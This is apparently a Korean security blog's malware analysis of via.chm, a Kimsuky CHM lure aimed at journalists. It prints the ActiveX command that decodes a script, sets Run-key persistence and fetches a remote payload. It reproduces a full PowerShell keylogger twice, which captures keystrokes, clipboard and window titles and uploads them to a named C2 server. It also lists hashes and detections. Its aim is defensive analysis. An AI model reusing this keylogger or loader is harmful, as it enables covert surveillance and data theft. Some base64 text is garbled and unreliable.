꿈을꾸는 파랑새

오늘은 북한의 해킹 조직인 김수키(Kimsuky)에서 만든 악성코드인 via.chm(2023.7.28)에 대해 글을 적어보겠습니다.
김수키(Kimsuky,キムスキー)는 기본적으로 한국의 싱크탱크, 산업계, 원자력 발전소 그리고 대북 관계자, 그리고 탈북단체에서 운영하는 주요 인물을 대상으로 조직적으로 해킹하고 있으며 한국의 퇴역 장교(특히 대북 기밀 다루었던 분), 전·현직 외교관, 전·현직 정부기관에 일하고 있든 일을 하고 있지 않든 아무튼 대북 관련 단체이며 해킹을 하고 있으며 그리고 최근 영업이 러시아, 미국 및 유럽 국가로 확장하고 있으며
김수키라는 이름은 이 그룹의 공격을 처음 보고한 러시아의 보안기업 카스퍼스키 가 도난당한 정보를 보내는 이메일 계정 이름이 김숙향(Kimsukyang)이었기 때문이며 Gold Dragon,Babyshark,Appleseed 등 수많은 악성코드를 사용했으며 전직 이름 탈륨(Thallium), 벨벳 천리마(Velvet Chollima),블랙반시(Black Banshee) 등으로 불리고 있으며 해당 악성코드는 기본적으로 chm 형식으로 되어져 있습니다. 일단 해당 악성코드의 핵심은 기자 분들을 노리려고 만들어진 악성코드이며 일단 해당 코드는 다음과 같습니다.

via.chm 에 포함된 악성코드
via.chm 에 포함된 악성코드

cmd, /c echo U3ViIFdNUHJvYyhwX2NtZCkNCglzZXQgd20gPSBHZXRPYmplY
3QoIndpbm1nbXRzOndpbjMyX3Byb2N1c3MiKQOKCXN1dCBvd3(MgP)SBHZXRPY
mplY3QoIndpbm1nbXRzOlxyb290XGNpbXYN,IikNCglzZXQg b3NOIDOgb3dzL
kdldCgiV2luMzJfUH(J)vY2Vzc1NOYXJ0dXAiKQOKCXN1dCBvY29uZiA9IG9zdC
5TcGF3bkluc3RhbmN1XwOKCW9jb25m(L)1Nob3dXaW5kb3cgPSAxMOKCWVyclJld
HVybiA9IHdtLkNyZWFO ZShwX2NtZCwgInVsbCwgb2NvbmYsI(H)BpZCkNCkVuZCB
TdWINCOKdXJpIDOgImhOdHA6Ly9vbmUuYmFuZGkudG9reW8vY2x1dmVyIg0K(c)G9
3X2NtZCA9ICJjbWQgL2MgcG93ZXJzaGVsbCAtY29tbWFuZCAi ImlleCAod2d1dCB4
eHgvZGVtby50eHQpLmN(v)bnR1bnQ7IEluZm9LZXkgLXVyICd4eHgnIiIiDQpwb3df
Y21kIDOgUmVwbGFjZShwb3dfY21kL(C)AieHh4IiwgdXJpKWKV01Qcm9jKHBvd19jbWQ
p>"%USERPROFILE%\Links\mini.dat" & start /MIN certutil
-decode "%USERPROFILE%\Links\mini(.)dat" "%USERPROFILE%\Links\mini(.)vbs"
& start /MIN REG ADD HKCU \SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v mini It
REG_SZ /d "%USERPROFILE%\Links\mini(.)vbs" If.>

입니다. 이걸을 해석을 하면 다음과 같습니다.

<!-- ActiveX 컨트롤을 정의하는 OBJECT 태그 시작 -->
  <OBJECT id=shortcut classid="clsid:52a2aaae-085d-4187-97ea-8c30db990436" width=1 height=1>
    <!-- ActiveX 컨트롤에 전달되는 매개변수들을 설정하는 PARAM 태그들 -->
    <!-- Command: ShortCut 컨트롤에 전달되는 명령어 (디코딩 필요 없음) -->
    <PARAM name="Command" value="ShortCut">
    <!-- Button: 컨트롤 내의 버튼 설정 (디코딩 필요 없음) -->
    <PARAM name="Button" value="Bitmap:shortcut">
    <!-- Item1: 인코딩된 Base64 문자열 매개변수 -->
    <PARAM name="Item1" value=',cmd, /c echo U3ViIFdNUHJvYyhwX2NtZCkNCgl(z)ZXQgd2
    0gPSBHZXRPYmplY3QoIndpbm1nbXRzOndpbjMyX3Byb2N1c3MiKQOKCXN1dCBvd3MgPSBHZXRPY(m)
    plY3QoIndpbm1nbXRzOlxyb290XGNpbXYN,IikNCglzZXQg b3NO
    IDOgb3dzLkdldCgiV2luMzJfUHJvY2Vzc1NOYXJ0d(X)AiKQOKCXN1d
    CBvY29uZiA9IG9zdC5TcGF3bkluc3RhbmN1XwOKCW9jb25mL1Nob3dX
    aW5(k)b3cgPSAxMOKCWVyclJldHVybiA9IHdtLkNyZWFO ZShwX2NtZCwgInVsbCwgb2Nv
    bmYsIHBpZCkNCkVuZCBTdWINC(O)KdXJpIDOgImhOdHA6Ly9vbmUuYmFuZGkudG9reW8vY2
    x1dmVyIg0KcG93X2NtZCA9ICJj(b)WQgL2MgcG93ZXJzaGVsbCAtY29tbWFuZCAi ImlleCA
    od2d1dCB4eHgvZGVtby50eHQpLmNv(b)nR1bnQ7IEluZm9LZXkgLXVyICd4eHgnIiIiDQpwb
    3dfY21kIDOgUmVwbGFjZShwb3dfY2(1)kLCAieHh4IiwgdXJpKWKV01Qcm9jKHBvd19jbWQp>
    "%USERPROFILE%\Links\mini(.)dat" & start /MIN certutil -decode
    "%USERPROFILE%\Links\mini(.)dat" "%USERPROFILE%\Links\mini.vbs" &
    start /MIN REG ADD HKCU \SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v mini
    It REG_SZ /d "%USERPROFILE%\Links\mini(.)vbs" If.>
    <!-- Item2: 숫자 매개변수 (디코딩 필요 없음) -->
    <PARAM name="Item2" value="273,1,1">
  </OBJECT>
  <!-- ActiveX 컨트롤을 정의하는 OBJECT 태그 끝 -->
  <!-- JavaScript 코드 시작 -->
  <script>
    // 'shortcut'라는 ID를 가진 ActiveX 컨트롤의 Click() 함수를 호출하는 코드
    shortcut.Click();
  </SCRIPT>
  <!-- JavaScript 코드 끝 -->

 

여기서 Base 64로 된 부분을 디코딩하면 다음과 같습니다.

cmd, /c echo Sub WMProc(p_cmd) CSub WMProc(windows_cmd CSub
WMProc(windows:win32_process NlCSub object = ost.Startup CInFunction =
ost.Startup -command '/c powercfg -hibernate off & start /MIN certutil
-decode "%USERPROFILE%\Links\mini(.)dat" & start /MIN
REG ADD HKCU \SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v mini It REG_SZ /d
"%USERPROFILE%\Links\mini(.)vbs" If.

명령어 중에는 powercfg -hibernate off가 포함되어 있음 하이버네이트 기능을 끄는 명령어
또 다른 명령어로 certutil -decode "%USERPROFILE%\Links\mini(.)dat" & start /MIN REG ADD HKCU \SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v mini It REG_SZ /d "%USERPROFILE%\Links\mini(.)vbs" If 가 포함 해당 명령어는 mini.dat 파일을 디코딩 mini.vbs  파일을 생성하고 해당 VBS 스크립트를 Windows 레지스트리에 등록
그리고 여기서 파워셀로 동작을 하는 악성코드가 실행됩니다. 해당 해쉬값은 다음과 같습니다.
파일명:demo.ps1
사이즈:5.93 KB
CRC32:b25dc6ea
MD5:5fe80f1b1e90815886a0553f2c322cc7
SHA-1:0c2a7c8be354638a9f7aa876c110c74cd0c02dda
SHA-256:510898ad9082dfc559aa511848c294627df87bbbc874cb411fe9f7fc638d86d8
이며 해당 코드에 포함된 파워셀 코드는 다음과 같습니다.

악성코드 파워셀 내용
악성코드 파워셀 내용

Function InfoKey {
    Param (
        [string] $ur
    )

    $Script:webReqUpload = $null;
    $Script:boundary = "";
    $Script:upURL = $ur;

	Function InitWebReqSessions {
        $Script:webReqUpload = New-Object Microsoft.PowerShell.Commands.WebRequestSession;
        $Script:webReqUpload.UserAgent = "Mozilla/5.0 (Windows NT 10.x; Win64; x64)
        AppleWebKit/537.36 (KHTML, like Gecko) Chremo/87.0.4280.141 Safari/537.36 Edgo/87.0.664.75";

        $boundaryHex = New-Object byte[] 10;
        for( $ii = 0 ; $ii -lt 10 ; $ii ++ ) {
            $boundaryHex[$ii] = Get-Random -Minimum 0 -Maximum 255;
        }
    
        $Script:boundary = "----" + [Convert]::ToBase64String($boundaryHex);
        $Script:webReqUpload.Headers.Add("Content-Type", "multipart/form-data;
        boundary=$Script:boundary");
    }

	Function PostUpData {
		param(
			[String] $Name,
			[String] $Data
		)
		InitWebReqSessions
		$enc_UTF8 = New-Object System.Text.UTF8Encoding;        
		$dataBytes = $enc_UTF8.GetBytes($Data);
		$postString = [Convert]::ToBase64String($dataBytes,
        [Base64FormattingOptions]::InsertLineBreaks);
		if( $postString -ne $null )
		{
			$conDisp = "--$Script:boundary`r`nContent-Disposition: form-data; name=";
			$postData = "$conDisp`"MAX_FILE_SIZE`"`r`n`r`n";
			$postData += "1000000`r`n";
			$postData += "$conDisp`"file`"; filename=`"";
			$postData += $Name + "`"`r`n";
			$postData += "Content-Type: text/plain`r`n`r`n";
			$postData += "$postString`r`n--$Script:boundary--";

			$url = "$Script:upURL/show(.)php";
			$response = Invoke-WebRequest -Uri $url -WebSession $Script:webReqUpload
            -Method Post -Body $postData;
		}
	}

	function StartMain{
		Param(
			[Parameter(Mandatory=$True)]
			[string]$Path
		)

		$alias = @('[DllImport("user32.dll",CharSet=CharSet.Auto)]',
        'public static extern', 'System.Text.StringBuilder')
		$mClk = @("GetAsyn", "GetKeyboa", "MapVir", "GetForegro",
        "GetWi", "ToUni", "GetClipb", "IsClipbo", "GetTic")
		
		$mClk1 = @("cKeyState", "rdState", "tualKey", "undWindow",
        "ndowText", "code", "oardSequenceNumber", "ardFormatAvailable", "kCount")

        for($i = 0; $i -le $mClk.Count; $i++)
        {
            $mClk[$i] = $mClk[$i] + $mClk1[$i];
        }

		$clk = 'using System;using System.Diagnostics;using System.Runtime.
        InteropServices;using System.Security.Principal;public
        class CLK{[DllImport("user32.dll",CharSet=CharSet.Auto,ExactSpelling=true)]' +
        $alias[1] + ' short ' + $mClk[0] + '(int virtualKeyCode);' + $alias[0] + '' +
        $alias[1] + ' int ' + $mClk[1] + '(byte[] keystate);' + $alias[0] + '' + $alias[1] +
        ' int ' + $mClk[2] + '(uint uCode,int uMapType);' + $alias[0] + '' + $alias[1] +
        ' int ' + $mClk[3] + '();' + $alias[0] + '' + $alias[1] + ' int ' + $mC
(l)k[4] + '(int hwnd,' + $alias[2] + ' lpText,int cchLength);'
+ $alias[0] + '' + $alias[1] + ' i(n)t ' + $mClk[5] +
'(uint wVirtKey,uint wScanCode,byte[] lpkeystate,' + $alias[2] +
' pwszBuff,int cchBuff,uint wFlags);[DllImport("user32.dll")]' +
$alias[1] + ' int ' + $mClk[6] + '();[DllImport("user32.dll")]' +
$alias[1] + ' bool ' + $mClk[7] + '(uint uFormat);[DllImport("kernel32.dll")]'
+ $alias[1] + ' UInt32 ' + $mClk[8] + '();}'
		Add-Type -TypeDefinition $clk 
		Add-Type -Assembly PresentationCore
		$bMute = $true
		$strMute = "Global\AlreadyRunning19122345"
		try{
			$curMute = [System.Threading.Mutex]::OpenExisting($strMute)
			$bMute = $false
		}catch{
			$newMute = New-Object System.Threading.Mutex($true,$strMute)
		}
		$o_clk = [CLK]  
		$o_enc_mode = [System.Text.Encoding]::UTF8
		$a_kb = New-Object Byte[] 256	
		$strBuilder = New-Object -TypeName System.Text.StringBuilder
		$curWnd = New-Object System.Text.StringBuilder(260)

		$a_asc = @(0(x)09,  0(x)27,0(x)2E,0(x)08,0(x)24,0x1b, 0x25,0x01, 0x20, 0x2d,0(x)26,
        0(x)11,     0(x)28,  0(x)23,    0x02)
		$a_str = @("Tab", "[->]", "[Del]", "[Bk]", "[Home]", "[Esc]", "[<-]", 
        "[LM]", " ",  "[Ser]", "[^]", "[Ctrl]", "[v]", "[End]", "[RM]")
		$tf = "yyyy/MM/dd`tHH:mm:ss"
		$oldWnd = ""
		$oldTick = 0
		$oldClip = 0
		$upTick = 0
		
		$minTime = 15000000
		$maxTime = 21000000
		$tickGap = Get-Random -Minimum $minTime -Maximum $maxTime	
		while($bMute){
			Start-Sleep -Milliseconds 1
			$curTick = $o_clk::($mClk[8])()
			$aa = (get-date).hour
			if(($upTick -eq 0) -or (($curTick - $upTick) -gt $tickGap)){
					$upTick = $curTick
					$tickGap = Get-Random -Minimum $minTime -Maximum $maxTime
					if( [System.IO.File]::Exists($Path) ) {
						$log = [System.IO.File]::ReadAllText($Path)
						PostUpData -Name "key" -Data $log
						[System.IO.File]::Delete($Path)
					}
				}
			
			$hTopWnd = $o_clk::($mClk[3])()
			$len = $o_clk::($mClk[4])($hTopWnd, $curWnd, $curWnd.Capacity)
			if($curWnd.ToString() -ne $oldWnd){
				$oldWnd = $curWnd.ToString()
				$t = Get-Date -Format $tf
				[System.IO.File]::AppendAllText($Path, "`n----- [" + $t + "]
                [" + $curWnd.ToString() + "] -----`n", $o_enc_mode)	
			}

			if(($oldTick -eq 0) -or (($curTick - $oldTick) -gt 1000)){
				$oldTick = $curTick
				$curClip = $o_clk::($mClk[6])()
				if($oldClip -ne $curClip){
					$oldClip = $curClip
					if($o_clk::($mClk[7])(1)){
						[System.IO.File]::AppendAllText($Path, "`
                        n----- [Clipboard] -----`n" + [Windows.Clipboard]::GetText()
                        + "`n------------------------------`n", $o_enc_mode)
					}
				}
			}
			
			$k = ""
			for($val = 0; $val -le 254; $val++){
				$vals = -12345 - 20422;
				if($o_clk::($mClk[0])($val) -ne $vals) {continue}			
				$null = [console]::CapsLock		
				$vals = 45 - 14;
				if($val -gt $vals){
					$vKey = $o_clk::($mClk[2])($val, (8 - 5))
					$ret = $o_clk::($mClk[1])($a_kb)
					if($o_clk::($mClk[5])($val, $vKey, $a_kb, $strBuilder,
                    $strBuilder.Capacity, 0) -gt 0){
						$k += $strBuilder.ToString()
					}						
				}else{
					for($i = 0; $i -le (19-5); $i++){
						if($val -eq $a_asc[$i]){
							$k += $a_str[$i]
							break
						}
					}
				}					
			}
			if($k.Length -gt 0){
				[System.IO.File]::AppendAllText($Path, $k, $o_enc_mode)
			}
		}
	}
	
	StartMain -Path "$env:appdata\Microsoft\Windows\Templates\Pages_Elements.xml"
}

CyberChef 로 본 파워셀 명령어
CyberChef 로 본 파워셀 명령어

해당 PowerShell 스크립트는 키로거(keylogger)로 키로거는 사용자의 동의 없이 컴퓨터에서 키 입력을 기록하는 소프트웨어 유형 이면서 개인정보를 유출하기 위해서 사용이 됩니다.
1.InfoKey 함수: 해당 함수는 $ur 이라는 하나의 매개변수를 받고 있으며 기록된 키 입력을 업로드할 URL을 의미
2.InitWebReqSessions 함수: 해당 함수는 웹 요청 세션을 초기화하고 User-Agent 헤더를 설정하여 웹 브라우저처럼 동작하도록 하며 또한 랜덤한 boundary 값을 생성하고 Content-Type 헤더를 설정하여 데이터가 multipart/form-data 요청으로 전송됨을 나타냄
3. PostUpData 함수: 해당 함수는 $Name 과 $Data 라는 두 개의 매개변수를 받고 초기화된 웹 요청 세션을 사용하여 로그 된 키 입력을 지정된 URL로 POST 요청으로 전송
4. StartMain 함수: 해당 함수는 키로거의 주요 루프 역할 $Path 라는 하나의 필수 매개변수를 받고 여기에 키 입력이 저장될 로그 파일의 경로를 지정
해당 스크립트는 $mClk라는 문자열 배열을 정의하고 키로깅 프로세스에서 사용되는 함수 이름들을 담고 있음
이러한 함수들은 user32.dll 라이브러리와 상호작용 하며 키 입력을 캡처하고 클립보드를 확인하며 활성 창을 식별하는 등의 작업을 수행
user32.dll은 다음과 같은 주요 기능들을 포함
창 관리:윈도우 시스템에서 창을 생성하고 관리하는 기능을 제공 해당 응용 프로그램이 윈도우를 생성하고 제어하는 데 사용
메시지 처리: 사용자 입력이나 시스템 이벤트와 관련된 메시지 처리 기능을 제공
이를 통해 응용 프로그램은 마우스, 키보드 입력 등을 감지하고 이벤트에 대응할 수 있습니다.
메뉴 및 대화 상자: user32.dll은 메뉴와 대화 상자를 생성하고 제어하는 기능을 포함
이는 응용 프로그램의 사용자 인터페이스를 구성하는 데 중요한 역할
커서 및 아이콘: 커서와 아이콘의 생성과 제어를 담당
이를 통해 응용 프로그램은 사용자에게 시각적인 피드백을 제공하거나 상태를 나타낼 수 있습니다.
그래픽 기능: 기본적인 그래픽 기능들을 제공하여 응용 프로그램이 윈도우의 클라이언트 영역에 그래픽을 그리거나 출력할 수 있도록 함
클립보드 관리: 클립보드를 사용하여 데이터를 복사하고 붙여 넣기 하는 기능을 제공
타이머: 응용 프로그램이 일정 시간 간격으로 작업을 수행하거나 이벤트를 스케줄링하는 타이머 기능을 제공
윈도우 관리: 윈도우의 속성, 스타일, 위치, 크기 등을 제어하여 응용 프로그램이 윈도우를 조작할 수 있게 합니다.
StartMain 함수의 while 루프는 계속해서 키 입력과 관련 정보를 캡처하고 지정된 로그 파일에 기록
일정 시간마다 PostUpData 함수를 사용하여 로그된 키 입력을 지정된 URL로 업로드 합니다.

파워셀에 포함이 된 키로그 코드
파워셀에 포함이 된 키로그 코드

function StartMain{
		Param(
			[Parameter(Mandatory=$True)]
			[string]$Path
		)

		$alias = @('[DllImport("user32.dll",CharSet=CharSet.Auto)]', 
        'public static extern', 'System.Text.StringBuilder')
		$mClk = @("GetAsyn", "GetKeyboa", "MapVir", "GetForegro",
        "GetWi", "ToUni", "GetClipb", "IsClipbo", "GetTic")
		
		$mClk1 = @("cKeyState", "rdState", "tualKey", "undWindow",
        "ndowText", "code", "oardSequenceNumber", "ardFormatAvailable", "kCount")

        for($i = 0; $i -le $mClk.Count; $i++)
        {
            $mClk[$i] = $mClk[$i] + $mClk1[$i];
        }

		$clk = 'using System;using System.Diagnostics;using System.Runtime.
        InteropServices;using System.Security.Principal;
        public class CLK{[DllImport("user32.dll",CharSet=CharSet.Auto,ExactSpelling=true)]' + 
        $alias[1] + ' short ' + $mClk[0] + '(int virtualKeyCode);' + $alias[0] + '' +
        $alias[1] + ' int ' + $mClk[1] + '(byte[] keystate);' + $alias[0] + ''
        + $alias[1] + ' int ' + $mClk[2] + '(uint uCode,int uMapType);' +
        $alias[0] + '' + $alias[1] + ' int ' + $mClk[3] + '();' + $alias[0] +
        '' + $alias[1] + ' int ' + $mClk[4] + '(int hwnd,' + $alias[2] +
        ' lpText,int cchLength);' + $alias[0] + '' + $alias[1] + ' int ' + $mClk[5] +
        '(uint wVirtKey,uint wScanCode,byte[] lpkeystate,' + $alias[2] +
        ' pwszBuff,int cchBuff,uint wFlags);[DllImport("user32.dll")]' + $alias[1] +
        ' int ' + $mClk[6] + '();[DllImport("user32.dll")]' + $alias[1] + ' bool ' +
        $mClk[7] + '(uint uFormat);[DllImport("kernel32.dll")]' + $alias[1] + ' UInt32 '
        + $mClk[8] + '();}'
		Add-Type -TypeDefinition $clk 
		Add-Type -Assembly PresentationCore
		$bMute = $true
		$strMute = "Global\AlreadyRunning19122345"
		try{
			$curMute = [System.Threading.Mutex]::OpenExisting($strMute)
			$bMute = $false
		}catch{
			$newMute = New-Object System.Threading.Mutex($true,$strMute)
		}
		$o_clk = [CLK]  
		$o_enc_mode = [System.Text.Encoding]::UTF8
		$a_kb = New-Object Byte[] 256	
		$strBuilder = New-Object -TypeName System.Text.StringBuilder
		$curWnd = New-Object System.Text.StringBuilder(260)

		$a_asc = @(0x(0)9,  0x(2)7, 0x(2)E,0(x)08,0(x)24, 0(x)1b, 0(x)25,0(x)01,0x20, 0(x)2d,
        0(x)26, 0(x)11, 
        0x(2)8, 0x(2)3, 0(x)02)
		$a_str = @("Tab", "[->]", "[Del]", "[Bk]", "[Home]",
        "[Esc]", "[<-]", "[LM]", " ",  "[Ser]", "[^]", "[Ctrl]", "[v]", "[End]", "[RM]")
		$tf = "yyyy/MM/dd`tHH:mm:ss"
		$oldWnd = ""
		$oldTick = 0
		$oldClip = 0
		$upTick = 0
		
		$minTime = 15000000
		$maxTime = 21000000
		$tickGap = Get-Random -Minimum $minTime -Maximum $maxTime	
		while($bMute){
			Start-Sleep -Milliseconds 1
			$curTick = $o_clk::($mClk[8])()
			$aa = (get-date).hour
			if(($upTick -eq 0) -or (($curTick - $upTick) -gt $tickGap)){
					$upTick = $curTick
					$tickGap = Get-Random -Minimum $minTime -Maximum $maxTime
					if( [System.IO.File]::Exists($Path) ) {
						$log = [System.IO.File]::ReadAllText($Path)
						PostUpData -Name "key" -Data $log
						[System.IO.File]::Delete($Path)
					}
				}
			
			$hTopWnd = $o_clk::($mClk[3])()
			$len = $o_clk::($mClk[4])($hTopWnd, $curWnd, $curWnd.Capacity)
			if($curWnd.ToString() -ne $oldWnd){
				$oldWnd = $curWnd.ToString()
				$t = Get-Date -Format $tf
				[System.IO.File]::AppendAllText($Path, "`n----- [" + $t + "]
                [" + $curWnd.ToString() + "] -----`n", $o_enc_mode)	
			}

			if(($oldTick -eq 0) -or (($curTick - $oldTick) -gt 1000)){
				$oldTick = $curTick
				$curClip = $o_clk::($mClk[6])()
				if($oldClip -ne $curClip){
					$oldClip = $curClip
					if($o_clk::($mClk[7])(1)){
						[System.IO.File]::AppendAllText($Path, "`n----- [Clipboard]
                        -----`n" + [Windows.Clipboard]::GetText() + "`n
                        ------------------------------`n", $o_enc_mode)
					}
				}
			}
			
			$k = ""
			for($val = 0; $val -le 254; $val++){
				$vals = -12345 - 20422;
				if($o_clk::($mClk[0])($val) -ne $vals) {continue}			
				$null = [console]::CapsLock		
				$vals = 45 - 14;
				if($val -gt $vals){
					$vKey = $o_clk::($mClk[2])($val, (8 - 5))
					$ret = $o_clk::($mClk[1])($a_kb)
					if($o_clk::($mClk[5])($val, $vKey, $a_kb, $strBuilder,
                    $strBuilder.Capacity, 0) -gt 0){
						$k += $strBuilder.ToString()
					}						
				}else{
					for($i = 0; $i -le (19-5); $i++){
						if($val -eq $a_asc[$i]){
							$k += $a_str[$i]
							break
						}
					}
				}					
			}
			if($k.Length -gt 0){
				[System.IO.File]::AppendAllText($Path, $k, $o_enc_mode)
			}
		}
	}
	
	StartMain -Path "$env:appdata\Microsoft\Windows\Templates\Pages_Elements(.)xml"
}

키로거 관련 코드이며 설명은 다음과 같습니다.
해당 코드는 키로깅(Keystroke Logging) 기능을 수행하는 PowerShell 스크립트사용자의 키 입력 및 클립보드 정보를 수집하여 로그 파일에 기록하는 기능을 가지고 있음
1. 함수 정의 (`StartMain` 함수):
StartMain 함수는 파라미터 $Path`를 받고 파라미터는 로그 파일의 경로
StartMain 함수는 아래에 나열된 작업들을 수행하는 무한 루프(while 루프) 안에서 실행
2.DLL Import와 관련된 설정:
Add-Type -TypeDefinition $clk 를 통해 C# 코드를 사용할 수 있도록 DLL Import를 설정
이를 통해 Windows API를 사용하여 키 입력과 클립보드 정보를 가져올 수 있음
Add-Type -Assembly PresentationCore 는 PresentationCore 어셈블리를 로드 이 어셈블리를 사용하여 뒤에서 Console.CapsLock 을 호출
3. 변수와 배열 설정:
$bMute: 키로깅을 계속해서 수행할지를 나타내는 불리언 변수
기본값은 $true 로 설정되어 있으며 무한 루프를 계속 실행
$strMute: 뮤텍스를 생성하기 위한 문자열 변수 뮤텍스를 사용하여 스크립트가 이미 실행 중인지 확인하고 중복 실행을 방지
$o_clk:C# 클래스 CLK 를 생성하는 변수
$o_enc_mode:UTF-8 인코딩 모드를 사용하는 변수
$a_kb:256바이트 배열로서 키 입력을 가져오려고 사용
$strBuilder:키 입력 문자열을 생성하기 위한 StringBuilder 객체
$curWnd:현재 활성화된 창의 타이틀 정보를 저장하기 위한 StringBuilder 객체
$a_asc:특정 ASCII 키 코드들을 저장하는 배열
$a_str:$a_asc 배열의 각 키 코드에 해당하는 문자열을 저장하는 배열
4.무한 루프 (while 루프):
$bMute 변수가 $true 로 설정되어 있으므로 스크립트는 무한 루프로 실행
Start-Sleep -Milliseconds 1 를 통해 스크립트는 1밀리 초마다 잠시 멈춤
5. 키 입력 정보 수집:
for 루프를 사용하여 $mClk 배열에 $mClk1 배열의 내용을 추가
$o_clk::($mClk[8])() 를 통해 현재 틱(시스템 틱) 값을 가져와 $curTick 변수에 저장
$upTick 변수가 0이거나 현재 틱과 이전에 기록한 틱의 차이가 $tickGap 더욱 크면 로그 파일에 키 입력 정보를 저장
키 입력 정보는 $k 변수에 저장되며 $a_str 배열에 정의된 문자열로 변환되어 로그 파일에 저장

6. 클립보드 정보 수집:
$o_clk::($mClk[6])()를 통해 현재 클립보드 값을 가져옴
이전에 기록한 클립보드 값($oldClip)과 다르면 로그 파일에 클립보드 정보를 저장
7.현재 활성화된 창 정보 수집:
$curWnd 변수에 현재 활성화된 창의 타이틀 정보를 저장
이전에 기록한 창 타이틀($oldWnd)과 다르다면 로그 파일에 창 타이틀 정보를 저장

8. 로그 파일에 정보 기록:
$(k),클립보드 정보, 현재 창 타이틀 정보를 로그 파일에 추가로 기록
로그 파일에 저장하는 부분을 담당
$k = "":키 입력 정보를 저장할 빈 문자열 변수 $k를 초기화
for($val = 0; $val -le 254; $val(+)+) { ... }: 반복문을 통해 모든 ASCII 키 코드를 순회
ASCII 키 코드는 0부터 254까지 존재하며, 이 범위 내의 모든 키를 대상으로 키 입력 정보를 수집
$vals = -12345 - 20422;: $vals 변수에 -32767 값을 저장
if($o_clk::($mClk[0])($val) -ne $vals) { continue }: $o_clk:(:)($mClk[0])($val)를 호출하여 현재 순회 중인 ASCII 키 코드($val)의 키 입력 상태를 확인
만약 이 값이 $vals와 같지 않다면(즉, 해당 키가 눌리지 않았다면), 다음 순회로 건너뜁니다.
$null = [console]::CapsLock: Caps Lock 키의 상태를 확인

이렇게 함으로써 Caps Lock 키의 상태를 바꿀 수 있으며 하지만 해당 스크립트에서는 해당 키 상태를 변경 하지 않으며 Caps Lock 키의 상태를 확인하기만 함
$vals = 45 - 14;: $vals 변수에 31 값을 저장
if($val -gt ($)vals) { ... } else { ... }: ASCII 키 코드가 $(v)als보다 큰지 확인
ASCII 키 코드가 31 이상이면 일반적인 문자키 (예: A, B, 1, 2 등)이므로 해당 키의 문자 값을 가져와 $k 변수에 추가
ASCII 키 코드가 31 미만인 경우, $a(_)asc 배열을 사용하여 특수 키(예: Enter, Backspace, Ctrl 등)를 확인하고 해당 특수 키의 문자열 값을 $k 변수에 추가
if($k.Length -gt 0) { ... }:$k 변수에 기록된 키 입력 정보의 길이가 0보다 큰 경우에만 아래 코드를 실행

[System(.)IO.File]::AppendAllText($Path, ($)k, ($)o_enc_mode): $k 변수에 저장된 키 입력 정보를 로그 파일인 $Path에 추가
이전 설명에서 언급한 로그 파일에 정보를 기록하는 부분으로 해당 코드 블록이 반복되면서 수집된 키 입력 정보가 로그 파일에 기록
StartMain -Path $env:appdata\Microsoft\Windows\Templates\Pages_Elements(.)xml: 함수 StartMain을 실행하고 로그 파일의 경로를 $env(:)appdata\Microsoft\Windows\Templates\Pages_Elements(.)xml로 지정하여 함수를 호출이 것으로 전체 스크립트가 실행
그리고 최종적으로 사용하는 C&C 서버는 다음과 같습니다.

http://one(.)bandi(.)tokyo/clever/demo(.)txt
http://one(.)bandi(.)tokyo/clever/show(.)php-<Keylog data uploaded(최종적으로 키로그 한 데이터 업로드 서버)

다른 이름으로는 다음과 같습니다.
NA_510898ad9082dfc559aa51184.ps1
2023-07-28 09:12:15 UTC 기준 바이러스토탈에서 탐지하는 보안 업체들은 다음과 같습니다.
AhnLab-V3:Trojan/PowerShell.Agent.SC186245
ALYac:Trojan.PowerShell.Agent
Antiy-AVL:Trojan/PowerShell.Kimsuky
Arcabit:Trojan.Generic.D4129B38
Avast:Script:SNH-gen [Trj]
AVG:Script:SNH-gen [Trj]
BitDefender:Trojan.GenericKD.68328248
Cyren:PSH/Agent.GV
Emsisoft:Trojan.GenericKD.68328248 (B)
eScan:Trojan.GenericKD.68328248
ESET-NOD32:PowerShell/Kimsuky.V
GData:Trojan.GenericKD.68328248
Google:Detected
Ikarus:Trojan.PowerShell.Kimsuky
Lionic:Trojan.Script.PowerShell.4!c
MAX:Malware (ai Score=88)
McAfee-GW-Edition:Artemis!PUP
Rising:Spyware.KeyLogger/PS!1.E425 (CLASSIC)
TACHYON:Script/W32.InfoStealer.B
Trellix (FireEye):Trojan.GenericKD.68328248
VIPRE:Trojan.GenericKD.68328248
VirIT:Trojan.PS.Agent.BBY
Xcitium:Malware@#2xy98chpawini
기본적인 보안 수칙을 잘 지키면 요즈음 chm 형식은 웬만하면 사용을 하지 않고 그리고 중요한 것은 기본적으로 백신 프로그램들은 사용하는 것이 좋은 방법이며 Zemana AntiLogger,KeyScrambler 같은 안티 키로그 프로그램을 사용하거나 아니면 지난 시간에 코모도 방화벽을 사용하고 있다고 하면 HIPS 에서 설정을 변경을 통해서 사용을 해보는 것도 나쁘지 않을 것입니다. 개인적으로는 안티 로거 프로그램을 따로 사용해 보는 것을 추천해 드리면 그리고 먼저 가상환경에서 자신에게 맞는 것을 선택해서 평가 버전을 사용을 해보고 이용을 하는 것을 추천하면 나는 돈을 투자할 금전이 부족을 하다면 AV-TEST에서 좋은 평가를 받은 백신 프로그램을 사용하시길 바랍니다.

 

 

공유하기

facebook twitter kakaoTalk kakaostory naver band